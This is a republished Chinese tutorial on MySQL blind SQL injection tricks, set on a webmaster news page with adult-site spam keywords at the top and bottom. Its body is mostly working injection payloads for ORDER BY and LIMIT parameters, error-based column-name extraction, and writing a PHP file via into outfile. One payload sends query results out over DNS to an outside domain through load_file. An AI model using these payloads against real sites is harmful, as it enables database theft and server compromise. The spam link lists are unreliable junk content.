精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網

17站長網 首頁 安全 入侵防御 查看內容

Mysql另類盲注中的一些技巧小結

2022-9-26 12:54| 查看: 2260 |來源: 互聯網

一、order by 的參數注入技巧:兩種方法,思路都一樣。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常見的利用方法:1.[SQL] select username,password from uc_members

一、order by 的參數注入技巧:
兩種方法,思路都一樣。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常見的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.國外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的參數注入技巧:

a.order by之后的limit參數 的注入,因為正常的sql語句order by后無法接union,所以沒有好辦法,就一個雞肋思路:into outfile '/www/root/xxx.php';

b.limit前無order by時的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
這里還有個技巧,使用procedure analyse可以獲取字段名稱:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不過procedure analyse同樣不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure

三、無法猜測字段時的技巧:

在mysql5以下版本或者information_schema 無法訪問的時候,無法猜到某個表的字段名,于是可以采用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回錯誤:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'uid' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'username' cannot be null
5. ……

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進行注入是個不錯的方法,前提是win環境root權限下的mysql,利用load_file函數讀取遠程文件的思路。本地搭建一個dns服務器,然后將特定域名的NS server轉過來。然后進行注入,并抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt')),抓包成功獲得select的結果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A [email protected]

如圖所示:

本文最后更新于 2022-9-26 12:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:[email protected]
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 亚洲一页| 免费黄色大片在线观看 | 国产亚洲精品自在线观看 | 国产精品99久久99久久久看片 | 女人被两根一起进3p在线观看 | 国产妇女在线 | 久久视频国产 | 欧美一级专区免费大片俄罗斯 | 久久99国产综合精品 | 国产高清不卡视频在线播放 | 久久九色综合九色99伊人 | 日本免费看片在线播放 | 国产精品成人观看视频国产奇米 | 乱色专区 | 蜜桃视频一区二区在线看 | 久草小视频 | 国产91精品高跟丝袜在线 | 国产精品福利在线播放 | 小明看看在线视频 | 在线国产你懂的 | 成年片免费网址网站 | 国产网址在线 | 欧美黑人在线观看 | 99re久久在热线播放最新地址 | 日本一级毛片2021免费 | 色婷婷视频在线 | 欧美任你躁免费精品一区 | 激情免费网站 | 国内精自品线一区91 | 亚洲成人美女 | 毛片大片免费看 | 欧美日韩免费在线视频 | 国产色视频网站 | 你懂的国产精品 | 免费高清a毛片 | 国产女人伦码一区二区三区不卡 | 久久777国产线看是看精品 | 国产va免费精品观看精品 | 91福利一区二区在线观看 | 国产精品一区在线播放 | 成 人 色综合 |